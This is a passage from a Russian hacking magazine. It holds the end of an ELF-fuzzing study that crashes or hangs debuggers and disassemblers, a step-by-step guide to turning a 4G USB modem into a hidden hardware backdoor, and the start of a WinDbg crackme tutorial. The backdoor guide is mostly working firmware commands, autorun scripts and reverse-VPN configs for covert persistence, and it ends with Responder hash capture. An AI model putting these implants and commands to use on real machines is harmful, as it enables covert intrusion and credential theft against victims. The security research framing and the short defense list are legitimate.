ных разным (в зависимости от задачи) образом эльфов и носит гордое имя
Melkor. Несмотря на свой возраст, у меня он практически без проблем соб-
рался и заработал, да и формат-то за минувшее время не изменился.
Из ограничений Melkor могу выделить поддержку исключительно архитектуры
x86 (32/64 бит).
В репозитории есть пара шаблонных эльфов, которые можно исполь-
зовать как вход для фаззинга. Можно указать, какие именно заголовки
во входном эльфе ты хочешь пофаззить: PHT, SHT, таблицу символов, релока-
ций и прочее, что очень удобно, если знаешь, что именно тебе нужно.

Опции Melkor

Итак, укажем «Мелькору» при генерации эльфов фаззить лишь заголовки сек-
ций в шаблонном файле foo из папки templates. Они будут сохранены в пап-
ке orcs_foo/.

Портим эльфов

Хочу отметить другое удобство в этом фаззере — наличие готового скрипта


test_fuzzed.sh, которым можно прогнать пачку сгенерированных файлов
на тестируемом инструменте, будь то ОС или какой-нибудь отладчик.
Позапускаем получившиеся эльфы в системе командой ./test_fuzzed.sh
orcs_foo/ | tee test_OS. Большинство запустились и завершились
без ошибок. Но некоторые, что интересно, завершились с сегфолтом, но они
в рамках решаемой задачи меня не интересовали.

Сегфолты при запуске на системе

Òåñòèðóåì EDB
Посмотрим, как себя почувствуют отладчики. На «плохих» файлах они будут
выводить сообщения об ошибках и ждать указаний пользователя, что
не очень удобно, когда анализируешь поведение на большом количестве
файлов. Тут можно схитрить: чтобы не закрывать отладчик руками каждый раз,
будем запускать его через команду timeout, которая завершит выполнение
тесткейса за нас, а мы пока сможем откинуться на спинку кресла.
На первых двух эльфах EDB (1.3.0) споткнулся, а на третьем запустился,
предлагая отладить файл, но закрылся по тайм-ауту, и тестирование продол-
жилось. Красота!

Прогоняем запуск эльфов в EDB

Всего на сотню покоррапченных эльфов в EDB мы получили 55 сегфолтов


и 9 исключений с делением на ноль (да-да, SIGFPE, или Floating point
exception, несмотря на свое название, в Linux генерируется и при целочис-
ленном делении на ноль).

Падения EDB

Дальнейшие разбирательства, подарившие мне уникальный опыт отладки


отладчика в другом отладчике, показали, что эти проблемы возникают в пла-
гине BinaryInfo. Он отвечает за парсинг секций для сбора информации о сим-
волах перед тем, как непосредственно запустить исследуемый эльф
для отладки. В первом случае не проверялась валидность указателя на строку
с именем секции и он спокойно мог указывать за пределы прочитанного фай-
ла. Во втором отсутствовала проверка размера элемента перед тем, как под-
считывать их количество в секциях, содержащих таблицы элементов (такие
как таблица символов).
Если тебе вдруг интересно, оба бага уже пофикшены.

SIGFPE в EDB в результате деления на ноль при подсчете элементов


в секции

Кстати говоря, при исследовании падений крайне удобно иметь сборку тес-
тируемого ПО с санитайзерами. Например, собрав EDB с Address Sanitizer
(ASAN), мы получим удобный бэктрейс, который приятнее просматривать
в логах того же ./test_fuzzed.sh, чем изучать в отладчике каждый кейс
руками.

Вывод Address Sanitizer

Ïðîâåðÿåì GDB
Поскольку nitr0us тоже тестировал GDB и учел, что он будет ждать поль-
зовательского ввода, если при открытии файла возникнет ошибка, вместо
трюка с timeout можно раскомментировать строчку 80 вместо 79-й в ./
test_fuzzed.sh, чтобы было так:

# $2 $1$file 2>&1
echo quit | $2 $1$file 2>&1 # Example: "echo quit | gdb -q orcs/x"

Теперь исполним ./test_fuzzed.sh orcs_foo/ gdb | tee test_gdb.

Прогоняем наших эльфов в GDB

В 98 случаях из 100 GDB отказывался открыть файл с сообщением not in


executable format: file format not recognized. В одном случае он
сообщил: Can’t read symbols from /home/kali/tmp/edb-segfault/
Melkor_ELF_Fuzzer/orcs_foo/orc_0063: bad value, но один — хоть и с
руганью — все же открыл. Зато каких-либо падений, в отличие от EDB,
не было.

98 отказов и лишь один запуск

В общем, GDB ведет себя достаточно зрело на нашей сотне сломанных эль-
фов в том смысле, что хотя бы не падает на них. Другое дело, что он совер-
шенно отказывается с ними работать, и это только на руку тем, кто заин-
тересован в антиотладке.

Radare2: r2hang
Чтобы автоматизировать анализ файла, запуск дебага и закрытие
Radare2 в случае каких-либо проблем, заменим вновь 80-ю строку скрипта ./
test_fuzzed.sh следующей:

echo "aaaa\nood\ndc\nq\n\n" | $2 $1$file 2>&1

Тайм-аут в команде запуска оставим на всякий случай, чтобы на чем-нибудь


не застрять. Также отключим цветной вывод опцией -e scr.color=false,
чтобы эскейп-последовательности, которыми закодированы цвета,
не мешали в дальнейшем изучать лог. После этого запустим тестирование.

Прогоняем эльфов в «Hадаре»

С большинством испорченных эльфов Radare2 справился без особо больших


проблем и ни на одном не упал так, как EDB. Он, впрочем, задумывался
при попытке начать отладку некоторых файлов, но в итоге все же открывал.
Восемь файлов завершались с сегфолтом (при прогоне на ОС их было
десять), а завершились с каким-нибудь кодом — то есть таки были запущены
для отладки — 65 штук.

Результаты прогона в Radare2

Иными словами, примерно с четвертью файлов возникла какая-то проблема.


Чаще всего она заключалась в том, что только на открытии ELF
Radare2 зависал, выедая при этом ядро CPU, и завершался по тайм-ауту.
Чтобы посмотреть, в недрах чего он виснет, можно приаттачиться к процессу
этого приложения.

Radare2 за обедом

Вкратце расследование этой проблемы включало в себя дебажную сборку


последней версии из GitHub, проверку, что и на ней также происходит
зависание, и построчную отладку Radare2 с подглядыванием в сорцы, изу-
чением бэктрейсов и содержимого структур, описывающих ELF внутри
Radare2.
Для локализации проблемы было также полезно сравнить заголовки эль-
фа, на котором Radare2 зависает, с оригинальным foo из репозитория
Melkor, на базе которого сгенерированы наши 100 файлов. Слева — дифф
содержимого их таблиц секций (SHT) в vbindiff, а справа — представление
этих же данных для одной из секций в Hiew. Итак, Melkor решил создать сек-
цию (конкретно .plt.got) невероятного размера.

Заголовки, сломанные при помощи Melkor, в vbindiff и Hiew

Сама же проблема, как выяснилось, заключалась в отсутствии одной провер-


ки, когда парсер ELF в Radare2 проходился по элементам секции .plt.got,
пытаясь найти в ней смещение символа plt_addr. Не проверялось, умещает-
ся ли вообще в пределы файла секция заявленного в заголовках ELF размера
(Physical size в Hiew на скриншоте выше). Таким образом, Radare2 в цикле
итерировался по файлу от начала .plt.got (в нашем случае 0x10f0) до мес-
та, где, как он считал, находится ее конец согласно заголовкам в таблице сек-
ций (а это очень большое число в рассматриваемом примере). Для выхода
из этого цикла нужно всего лишь пройтись по примерно следующему
количеству элементов:

0x4242424258aebf0b/8 = 596806425961158625

Этот баг, к слову, тоже был пофикшен.


Надо сказать, что собственно чтения за пределами буфера, хранящего
содержимое ELF-файла (что потенциально могло бы вылиться в сегфолт
при выходе за пределы маппинга), не происходило, поскольку в вызываемых
в дальнейшем функциях присутствовали нужные проверки. В результате,
подойдя к концу буфера, Radare2 просто читал по 0 байт, пока не выпол-
нялось условие выхода: проитерировать всю секцию по ее размеру.

Докапываемся до истины: чтение по 0 байт в конце буфера с содер-


жимым файла

Interactive Disassembler
Последним инструментом, который мы рассмотрим, будет IDA. Тестировать
ее автор Melkor предлагает с помощью его батника win_test_fuzzed.bat,
однако тут нас встречает одно крохотное неудобство: как он указывает в сво-
ем ресерче, закрывать появляющиеся окошки придется руками. Что ж, нехотя
с этим смиримся.
Nitr0us фаззил демоверсию «Иды», мы же испробуем IDA Free
8.2 для Linux. В случае появления окон с ошибками будем действовать так,
как среднестатистический пользователь: не думая соглашаться со всем.
В целом IDA весьма неплохо себя чувствовала. В ней есть проверка сме-
щений и размеров секций, их пересечений, валидности атрибутов и соот-
ветствующая обработка невалидных значений. Однако же нашлись эльфы,
оказавшиеся ей не по зубам. В одном из файлов она некорректно отобража-
ет содержимое секций в сегменты, выводя крайне странную точку входа, да и
список доступных сегментов тоже оставляет множество вопросов. ELF
при этом успешно запускается через F9 для отладки и завершается
с кодом 0.

Некорректное отображение точки входа и сегментов

Более того: можно поставить точку останова в точке входа (и пусть тебя нис-
колько не смущает ее вид!), и при отладке IDA действительно остановится
на старте бинаря, а при нажатии на F7 (single step) еще и предложит перевес-
ти данные в код.

Предложение IDA пересоздать инструкцию

Что интересно — если согласиться с этим предложением, нашему взору


предстанет что-то подозрительно похожее на подготовку регистров
с вызовом __libc_start_main().

Точка входа

Всего эльфов с таким поведением IDA обнаружила 2 из 100.

ÂÛÂÎÄÛ

Однажды мне сказал один мудрец: первое и главное, что необходимо сде-
лать, когда хочется что-то сломать, — осознать поверхность атаки. Интерес-
но, как всего лишь сотни поломанных эльфов оказалось достаточно, чтобы
проэксплуатировать parser differential в различных инструментах и предотвра-
тить анализ рабочих файлов, когда знаешь, на что обращать внимание.
Всевозможные парсеры чего угодно — настоящее поле для эксперимен-
тов. Реализации стандартов содержат ошибки и не парсят одинаково, а в
форматах часто присутствует избыточная информация. Пример тому —
информация о секциях ELF, благодаря чему одни и те же файлы прекрасно
запускаются ОС, игнорирующей ее, но не анализируются инструментами, так
или иначе полагающимися на эти данные. Лейтмотив всего langsec’а тому
подтверждение:

Ambiguity is insecurity.

Как мы увидели, проще всего было сделать так, чтобы GDB отказался ана-
лизировать файл. Мы смогли заставить упасть EDB и зависнуть Radare2. IDA
же, хоть и могла открыть большинство бинарей, на двух выдала откровенную
чушь.
В EDB и Radare2 были локализованы и пофикшены найденные баги. Я счи-
таю, это неплохой результат для ресерча, который начался с восьмиминут-
ного видео!

WWW
Если тебе интересно более основательно поковы-
ряться с ломанием инструментов для работы
с ELF-файлами, предлагаю тебе ознакомиться
со следующими источниками, не считая уже
перечисленных в тексте:
•tmp.out — ezine, посвященный эльфам и ревер-
су, и их репозиторий с огромным списком ссы-
лок по теме;
•репозиторий elfmaster (Ryan O’Neill), гуру эль-
фов;
•PoC||GTFO — что-то типа сборника статей
о форматах файлов, протоколов, их внут-
ренностях, реверсе и эксплуатации,
или Emulation, vintage computing, modern heap
corruption exploitation, systems internals,
and everything in between;
•How programs get run: ELF binaries [LWN.net];
•How does the Linux kernel run a program и другие
статьи по Linux от 0xAX;
•вайтпейпер “Weird Machines” in ELF: A Spotlight
on the Underappreciated Metadata.
ВЗЛОМ

ЗАКРЕПЛЯЕМСЯ
В АТАКОВАННОЙ СИСТЕМЕ
ПРИ ПОМОЩИ USB-МОДЕМА

Если у злоумышленника есть непосредс-


твенный доступ к компьютеру потенциаль-
ной жертвы, он может обеспечить себе
постоянный и бесперебойный канал связи.
Проще всего использовать для этого обыч- s0i37
Lead cybersecurity analyst at
ный USB-модем, который предварительно USSC t.me/s0i37_channel
s0i37@ya.ru
следует слегка модифицировать. В этой
статье мы подробно расскажем и покажем
как.

Что, если кто-нибудь воспользуется оставленным без внимания компьютером


и подключит к нему специальный девайс, по которому затем получит удален-
ный доступ из любого уголка мира? Вся описанная мною ранее магия с эму-
ляцией устройств через USB может оказаться в распоряжении злоумыш-
ленника. Только теперь он направит усилия не на атаку, а на поддержание
удаленного доступа.

INFO
Эта статья — часть серии публикаций о прак-
тических приемах взлома и атак с использовани-
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос-
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Злая сетевуха. Разбираем
в деталях атаку BadUSB-ETH».

Задумывался ли ты о том, что современные 4G-модемы (HiLink) — это устрой-


ства чуть больше флешки с настоящим Linux внутри? Например, Android 2.3 /
Linux 3.4.5 + VxWorks v6.8 для GSM. Это полностью автономные устройства
с питанием по USB. Сразу после подключения к компьютеру ОС модема
за несколько секунд загружается и эмулирует свой USB как сетевую карту.
Для описываемой в этой статье атаки лучшим аппаратным решением
будет непосредственно сам HiLink-модем: он компактен и имеет 4G-модуль.
Это может быть, например, популярный Huawei E3372h-153, который поз-
воляет сделать перепрошивку, к тому же у него богатая поддержка сообщес-
твом энтузиастов.
Современные 4G-модемы представляют собой HiLink-модемы, то есть
они определяются в системе как сетевая карта. Для ОС ПК пользователя мак-
симально удобно взаимодействовать с интернетом через такую виртуальную
Ethernet-сеть. Но в то же время и сам модем может использоваться для вза-
имодействия с компьютером, к которому он подключен. Внутри модема
работает полноценная ОС, которая так же, как было продемонстрировано
с BadUSB-ETH, эмулирует сетевую карту. Схема закрепления на скомпро-
метированной машине при помощи такого устройства показана на сле-
дующем рисунке.

Информационные потоки при закреплении по USB

Для закрепления в похожих обстоятельствах существует готовый девайс


под названием LAN Turtle, однако он лишен важной особенности — поддер-
жки стороннего 4G-канала.

ÐÅÀËÈÇÀÖÈß

Само устройство настолько удачно подходит для организации удаленного


доступа, что понадобится минимум изменений. Его главные преимущества:
• не требует дополнительного питания;
• скрытое подключение, устройство не будет видно в локальной сети, так
как работает только в пределах скомпрометированного компьютера;
• автономный канал передачи данных 4G позволит иметь доступ даже внут-
ри изолированных локальных сетей.

Для максимальной эффективности устройство потребуется немного дорабо-


тать — перепрошить модем. После всех внесенных изменений ОС модема
автоматически установит VPN-соединение с контрольным сервером
через 4G-сеть (внешний канал) и обеспечит таким образом устойчивый
сетевой доступ к ПК, в который вставлен модем. Изначально получить доступ
к ОС модема можно одним из следующих способов:

telnet 192.168.8.1
adb connect 192.168.8.1:5555

Чтобы выполнить дальнейшие настройки, потребуется включить порты для AT-


команд:

curl http://192.168.8.1/html/switchDebugMode.html
minicom -D /dev/ttyUSB0

После включения отладочного режима ОС модема может быть модифициро-


вана, для этого нужно войти в режим перепрошивки и загрузить открытую
прошивку:

at^godload # Переход в режим прошивки. Модем


перезагрузится
sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

После запуска модем обычно эмулирует CD-ROM с драйверами плюс SD-


карту. Это нужно отключить, поскольку девайсу требуется только эмуляция
сети:

AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Не переходить в режим CD-ROM при запуске,
включен RNDIS/CDC
AT^RESET # Перезагрузка

Далее следует модифицировать сервер DHCP, чтобы модем не объявлял


себя шлюзом и на компьютере не ломалась таблица маршрутизации. Модем
должен подключаться максимально скрытно:

cat <<EE > /data/config


Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

Теперь нужно скопировать на модем клиент OpenVPN с драйвером и кон-


фигом. Чтобы ничего не компилировать, готовые бинарники можно скачать
с сайта 4PDA:

adb push tun.ko /online/ovpn/


adb push openvpn /online/ovpn/
adb push vds.ovpn /online/ovpn/

cat <<EE > /data/vpn.sh


#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
chmod 700 /data/vpn.sh

busybox passwd
reboot

Для большей надежности обратного подключения VPN лучше запускать


в бесконечном цикле. Осталось лишь настроить автозапуск всего этого доб-
ра и не забыть организовать маршрутизацию пакетов через модем от 4G-
сети в сторону целевого компьютера:

mount -o remount,rw /dev/block/mtdblock16

cat <<EE >> /system/etc/autorun.sh


/data/autorun.sh &
EE

cat <<EE > /data/autorun.sh


#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE
chmod 700 /data/autorun.sh

Также на модеме запрещен выход в 4G-интернет с ПК и прикрыта


веб-админка. Теперь модем полностью «заряжен» и готов к использованию
в качестве аппаратной закладки.

ÇÀÊÐÅÏËÅÍÈÅ

В результате аппаратный бэкдор может выглядеть примерно так.

Подключение аппаратной закладки к ПК

Достаточно неприметно, не правда ли? Просто какая-то большая флешка,


подумает рядовой пользователь. Если у злоумышленника есть возможность
добраться до USB-порта компьютера, то мало кто сразу заметит столь
«странное» устройство. Это обеспечит потенциальному злоумышленнику
длительный сетевой доступ к цели по автономному каналу. Заметь, что тут
используется именно сторонний канал для удаленного подключения, так что
больше не требуется выход в интернет из внутренней сети. Канал мобильной
сети предоставляет злоумышленнику гарантированный удаленный доступ.

Получение сетевого доступа к ПК через аппаратную закладку

Телефон и LAN Turtle подключены к одному и тому же серверу VPN, который


связывает их сетевой трафик. 4G-модем перенастроен так, чтобы пропускать
трафик в нехарактерном обратном направлении — через себя в сторону
компьютера, подобно шлюзу. Даже на расстоянии тысяч километров у зло-
умышленника будет прямой сетевой доступ к скомпрометированной машине.
В представленном примере телефон и ноутбук никак не связаны напрямую
и работают в разных сетях. Ноутбук — в локальной сети по проводу
без интернета, а телефон — по 4G. Но после добавления маршрута до компь-
ютера жертвы через 4G-модем телефон атакующего получает удаленный
доступ к ПК.

L2-ÄÎÑÒÓÏ

Подобный способ закрепления дает сетевой доступ только до машины,


к которой подключен модем. Дальнейшие действия атакующего сопряжены
с необходимостью получить логический доступ, то есть взломать систему
и управлять ей. В случае успеха это дает как контроль над самим компьюте-
ром, так и возможность идти дальше — вглубь локальной сети. Чтобы ата-
ковать целевую систему было проще, может потребоваться организовать
более близкий к цели L2VPN-туннель.
Необходимо пробросить еще один VPN-туннель внутри уже имеющегося.
Если первый VPN использовался исключительно для связи с устройством
lan_turtle, то второй дает максимально возможный сетевой доступ
до компьютера через эмулированную по USB сеть.
Для этого внутри USB-модема нужно выполнить еще несколько команд,
которые создадут VPN-туннель и поместят новоиспеченный виртуальный
интерфейс в сетевой мост с USB-интерфейсом:

./openvpn --config l2.ovpn --route-noexec


brctl addif br0 tap1
ifconfig tap1 0

Здесь конфигурационный файл может быть создан прямо внутри модема


примерно со следующим содержимым:

l2.ovpn
lclient
proto tcp
dev tap

remote 172.16.0.10 1194

<ca>
</ca>

<cert>
</cert>

<key>
</key>

keepalive 10 60

persist-key
persist-tun

L2VPN-интерфейс будет иметь IP-адрес, который на самом деле не нужен,


поскольку уже работает OpenVPN. Но его можно сбросить, после чего просто
поместить интерфейс в мост. В результате в VPN-интерфейс пойдут L2-
пакеты от скомпрометированной машины. И атакующий не просто получит
логический сетевой доступ до целевого ПК, он будет видеть его, словно вот-
кнулся в ПК простым интернет-кабелем.
На стороне атакующего требуется лишь подключиться к модему и создать
VPN-туннель, после чего вручную выставить ему IP-адрес из подсети сетево-
го адаптера компьютера жертвы:

sudo openvpn --config lan_turtle.ovpn --route-noexec


sudo ifconfig tap0 192.168.8.200/24

Конфигурационный файл для подключения к lan_turtle, чтобы открыть L2VPN-


туннель, выглядит так:

lan_turtle.ovpn
local 172.16.0.10
port 1194
proto tcp
dev tap

user nobody

<ca>
</ca>

<cert>
</cert>

<key>
</key>

<dh>
</dh>

server 192.168.9.0 255.255.255.0

keepalive 10 180
verb 3

Теперь злоумышленник получит максимально полный сетевой доступ к компь-


ютеру через 4G-модем. L2-туннель позволяет запустить атаки на проколы
канального уровня, а также на NetBIOS с помощью Responder и получить хеш
пароля пользователя:

responder -I tap0 -r -d -w -F

ÊÀÊ ÇÀÙÈÒÈÒÜÑß

Поскольку закрепляется злоумышленник через USB-порт, меры противодей-


ствия такие же, что и в случае с BadUSB:
• использовать специализированные программные решения, чтобы бло-
кировать недоверенные USB-устройства;
• отключить поддержку сетевых карт USB в групповых политиках;
• регулярно осматривать компьютеры;
• контролировать физический доступ к ПК.

На этом всё, встретимся в следующей части цикла!


ВЗЛОМ

ИСПОЛЬЗУЕМ ОТЛАДЧИК
ДЛЯ АНАЛИЗА 64-РАЗРЯДНЫХ
ПРОГРАММ В WINDOWS

Крис Касперски Юрий Язев


Известный российский Широко известен под
хакер. Легенда ][, ex- псевдонимом yurembo.
редактор ВЗЛОМа. Также Программист, разработчик
известен под псевдонимами видеоигр, независимый

мыщъх, nezumi (яп. , исследователь. Старый автор
мышь), n2k, elraton, souriz, журнала «Хакер».
tikus, muss, farah, jardon, yazevsoft@gmail.com
KPNC.

Помимо дизассемблирования, существует и другой способ


исследования программ — отладка. Изначально
под отладкой понималось пошаговое исполнение кода, так-
же называемое трассировкой. Сегодня же программы рас-
пухли настолько, что трассировать их бессмысленно — мы
моментально утонем в омуте вложенных процедур, так и не
поняв, что они, собственно, делают. Отладчик не лучшее
средство изучения алгоритма программы — с этим
эффективнее справляется интерактивный дизассемблер
(например, IDA).

«Фундаментальные основы хакерства»


Перед тобой уже во второй раз обновленная версия статьи «Знакомство
с отладчиком» (первое обновление публиковалось в 2018 году в рамках цикла
«Фундаментальные основы хакерства»). В прошлый раз текст Криса Каспер-
ски был переделан для соответствия новым версиям Windows и Visual Studio,
а теперь обновлен с учетом отладки программ для 64-разрядной архитек-
туры. Читай также обновленную первую статью серии. Обе статьи доступны
без платной подписки.

Цикл «Фундаментальные основы хакерства» с «апгрейдом» первых глав


до x86-64 опубликован в виде книги, купить ее ты можешь на сайте издатель-
ства «Солон-пресс».

Ñïîñîáíîñòè îòëàä÷èêîâ
Первым делом надо разобраться в перечне основных функциональных воз-
можностей типовых отладчиков (без этого невозможно их осмысленное при-
менение):
• отслеживание обращений на запись, чтение и исполнение к заданной
ячейке (региону) памяти, далее по тексту именуемое бряком (брейком);
• отслеживание обращений на запись и чтение к портам ввода-вывода (уже
неактуально для современных операционных систем, запрещающих поль-
зовательским приложениям проделывать такие трюки, — это теперь пре-
рогатива драйверов, а на уровне драйверов реализованы очень немногие
защиты);
• отслеживание загрузки DLL и вызова из них таких-то функций, включая
системные компоненты (как мы увидим далее, это основное оружие сов-
ременного взломщика);
• отслеживание вызова программных и аппаратных прерываний (большей
частью уже неактуально — не так много защит балуется с прерываниями);
• отслеживание сообщений, посылаемых приложением окну;
• и, разумеется, контекстный поиск в памяти.

Как именно это делает отладчик, пока знать необязательно, достаточно


знать, что он это умеет, и все. Куда актуальнее вопрос, какой отладчик умеет
это делать.

Ãåðîè ïðîøëîãî
В прошлом в качестве отладчика хакеры использовали широко известный
SoftICE. Это был действительно мощный инструмент, и даже по прошествии
многих лет лучше него ничего не было изобретено. Неоспоримым его пре-
имуществом была возможность отладки ядра Windows с помощью одного
компьютера. Между тем, не без давления Microsoft, в 2006 году его разработ-
ка была прекращена. А поскольку SoftICE очень сильно зависел от операци-
онной системы Windows, в более поздних ее версиях он просто не работает.
Последней версией Windows, в которой можно пользоваться SoftICE, была
Windows XP SP 2. В SP 3 он уже не функционировал, а в Vista и Windows
7 и подавно.

SoftICE

Хакеры, конечно, приуныли, но не стали посыпать голову пеплом, а начали


изобретать альтернативные отладчики. Последовала эпоха расцвета новых
отладчиков. Но какая картина на этом поле сейчас? Нет ни одного нового
хорошего отладчика! Передовым среди всех был коммерческий Syser китай-
ских разработчиков. Ему пророчили светлое будущее, возможность заменить
SoftICE, но где он сейчас? Может быть, пара копий сохранилась где-то
на файловых свалках, но он давно не развивается.

Syser

Сейчас по большому счету у хакера есть выбор только из двух по-настоящему


годных отладчиков: WinDbg и x64dbg. Последний годится лишь для иссле-
дования приложений пользовательского режима, тогда как с помощью
WinDbg можно заниматься и ядерной отладкой Windows. Но в этом случае
придется использовать два компьютера, объединенных проводом или по
локальной сети.

Ñîâðåìåííûé èíñòðóìåíò êîäîêîïàòåëÿ


Когда-то хакеры пренебрегали WinDbg, но со временем он вырос и стал дей-
ствительно мощным и полезным инструментом исследования кода. Не стоит
забывать, что именно он используется командой разработки Windows.
Для него можно изготавливать расширения путем подключаемых DLL.
Начиная с Windows XP, движок отладки включен непосредственно в операци-
онную систему. Он состоит из двух DLL: dbgeng.dll и dbghelp.dll. Кроме
непосредственно средств отладки, в число которых входит сам WinDbg, его
движок используется в том числе «Доктором Ватсоном» (drwtsn32.exe).
Средство отладки для Windows состоит из четырех приложений, исполь-
зующих dbgeng.dll:
• cdb и ntsd — отладчики пользовательского режима с консольным
интерфейсом. Они различаются только одним: при запуске из существу-
ющего консольного окна ntsd открывает новое консольное окно, a cdb
этого не делает;
• kd — отладчик режима ядра с консольным интерфейсом;
• WinDbg может использоваться как отладчик пользовательского режима
либо режима ядра, но не одновременно. У WinDbg есть графический
интерфейс.

Следовательно, WinDbg представляет собой только оболочку для отладки


с помощью движка.
Вспомогательный файл dbghelp.dll используется внешними тулзами
для исследования внутренностей Windows, например отладчиком OllyDbg,
программой Process Explorer за авторством Марка Руссиновича и прочими.
У WinDbg есть две версии: классическая и UWP. Первая устанавливается
вместе с набором тулз Debugging Tools for Windows. Этот набор содержит две
версии WinDbg. Одна предназначена для отладки 32-разрядных приложений,
другая — 64-разрядных. Версию UWP можно скачать из Windows Store, она
имеет только 32-битную версию. Обе 32-разрядные версии абсолютно рав-
ноценны, не считая того, что в UWP продвинутый пользовательский
интерфейс Windows 10. Кстати, весьма удобный при работе на большом
экране.
Для наших экспериментов я буду применять UWP-версию. Разницы в их
использовании практически нет, могут разве что немного различаться коман-
ды в пользовательском интерфейсе, именно надписи на элементах
интерфейса, но не команды встроенного языка.

Ñïîñîá 0. Áðÿê íà îðèãèíàëüíûé ïàðîëü


С помощью WinDbg загрузим ломаемый нами файл — passCompare1.exe —
через пункт меню Launch Executable или Open Executable в классическом при-
ложении. В дальнейшем я не буду приводить аналоги команд.

WWW
Файлы с примерами можно скачать с GitHub.

Сразу после открытия исполняемого файла WinDbg загрузит приложение,


в окне Disassembly отладчика появятся дизассемблированные команды, а в
окне Command отобразятся результаты их выполнения.
После создания окна приложения еще до вывода каких-либо данных
выполнение тут же прерывается на инструкции int 3 — это программная
точка останова. Часто новички считают, что выполнение программы начина-
ется с функции main или WinMain. Этому их учат в школе, либо они сами чер-
пают такие сведения из учебников по C/C++. Конечно, это неправда.
Прежде чем попасть в функцию main конкретного приложения, процессор
зарывается в дебри системного кода загрузчика образов, выполняет горы
инструкций инициализации приложения внутри Windows, подключения биб-
лиотек и прочего. Поэтому произошедший бряк не означает вход в main
нашей программы. Если взглянуть в окошко дизассемблера, мы увидим, что
прерывание произошло в системной функции LdrpDoDebuggerBreak модуля
ntdll.
Первым делом загрузим отладочную информацию для компонентов опе-
рационной системы. Для этого в командную строку введем

.symfix d:\debugSymbols

Эта команда определяет папку, указанную в параметре, куда отладчик


при необходимости загрузит отладочные символы для подсистем Windows.
Затем надо отправить команду для загрузки или обновления файлов:

.reload

После этого WinDbg загрузит нужные данные с серверов Microsoft.


Кроме того, можно воспользоваться уже имеющейся отладочной
информацией, для этого существует команда .sympath+ <путь к
директории>. Если файл с отладочными символами находится в одной папке
с исполняемым файлом, он подхватится автоматически. Еще можно исполь-
зовать файлы исходного кода, но в таком случае проще воспользоваться
отладчиком, входящим в среду разработки.
Давай попробуем натравить отладчик на дебажную версию passCompare1
и при достижении первой точки останова поставим бряк на функцию main:

bp passCompare1!main

Теперь продолжим выполнение командой g. Когда отладчик достигнет пос-


тавленной точки останова (начало функции main), в окне дизассемблера уви-
дим, что листинг разделен на сегменты, в заголовке которых находятся имена
функций, в частности main.
В релизной версии исполняемого файла этого не будет. Если же мы пос-
тавим точку останова по адресу начала модуля и прибавим адрес точки вхо-
да, то мы попадем не в начало функции main, а в системный загрузчик — фун-
кцию mainCRTStartup, подготовленную компилятором.
Кроме Microsoft, мало кто предоставляет отладочные символы, не будем
привыкать к легкой жизни, тем более WinDbg специально предназначен
для отладки программ без отладочной информации и исходного кода. Будем
применять его по назначению! Между тем, если приглядеться к окошку дизас-
семблера повнимательнее, можно заметить, что в отличие от дизассемблера
dumpbin, который мы использовали в прошлой статье, WinDbg распознает
имена системных функций, чем существенно упрощает анализ.

WinDbg распознает имена системных функций

Точки останова могут быть двух типов: программные и аппаратные. С пер-


выми мы уже встречались. В программе их может быть любое количество.
Для своей работы они модифицируют память исполняемого процесса, то
есть в том месте, где должен стоять бряк, отладчик запоминает ассемблер-
ную инструкцию и заменяет ее int 3. Из-за того что программная точка оста-
нова изменяет память, ее можно установить не везде. В этом заключается ее
основной недостаток. Главной командой для установки программной точки
останова является bp. Для получения списка установленных точек служит
команда bl, а для удаления — команда bc, параметром которой является
индекс точки останова. Звездочка в качестве параметра удаляет все бряки.
Команды be и bd, соответственно, включают и выключают брейк-пойнты.
Количество аппаратных точек останова, независимо от разрядности про-
цессора, всегда четыре. Хотя в процессоре присутствуют восемь регистров
отладки (DR-0 — DR-7), только первые четыре могут быть использованы
для хранения адресов точек останова. Аппаратные бряки могут ставиться
в любое место памяти процесса. Таким образом, они лишены недостатка
программных бряков. Остальные регистры предназначены для хранения
условий доступа — срабатывания точек останова, например чтение, запись,
исполнение. Малое количество — основной недостаток аппаратных бряков.
Для установки аппаратной точки останова используется команда ba с тремя
параметрами: тип доступа, размер и адрес.
Итак, мы рассмотрели небольшой список команд внутреннего языка
отладчика WinDbg. Наверняка ты обратил внимание на их запись. В языке
отладчика присутствуют три вида команд:
• встроенные команды служат для отладки процесса и записываются
без лидирующего символа, к таким командам относятся g, bp, bd;
• метакоманды управляют работой отладчика, перед ними ставится символ
точки, например: .reload, .symfix, .cls;
• команды-расширения, загружаемые из внешних DLL, имеют в начале сим-
вол восклицательного знака, например: !heap, !dh.

Ïîèñê àäðåñà
Давай попробуем наскоро найти защитный механизм и, не вникая в под-
робности его функционирования, напрочь отрубить защиту. Вспомним,
по какому адресу расположен в памяти оригинальный пароль. Заглянем
в дамп секции .rdata, где хранится пароль. Исходный пароль
myGOODpassword находится по смещению 0x140002280. Попробуем вывести
находящиеся по этому адресу в памяти данные:

dc 0x140002280

Существует большое количество команд для отображения содержимого


памяти: da, db, dd и прочие. Мы использовали dc, потому что она показывает
значения двойных слов и ASCII-символы. Что мы видим? Неинициализиро-
ванные данные.
Раньше (до Windows Vista) кодокопателям было проще. Windows загружала
образы в виртуальную память по определенному при компиляции адресу.
В этом легко убедиться: запустим приложение в Windows XP, затем
при помощи того же SoftICE узнаем адреса секций (команда mod -u)
и выпишем их. После перезагрузки системы и повторного запуска приложе-
ния увидим, что они останутся неизменными.
Начиная с Windows Vista, программы после перезапуска системы получают
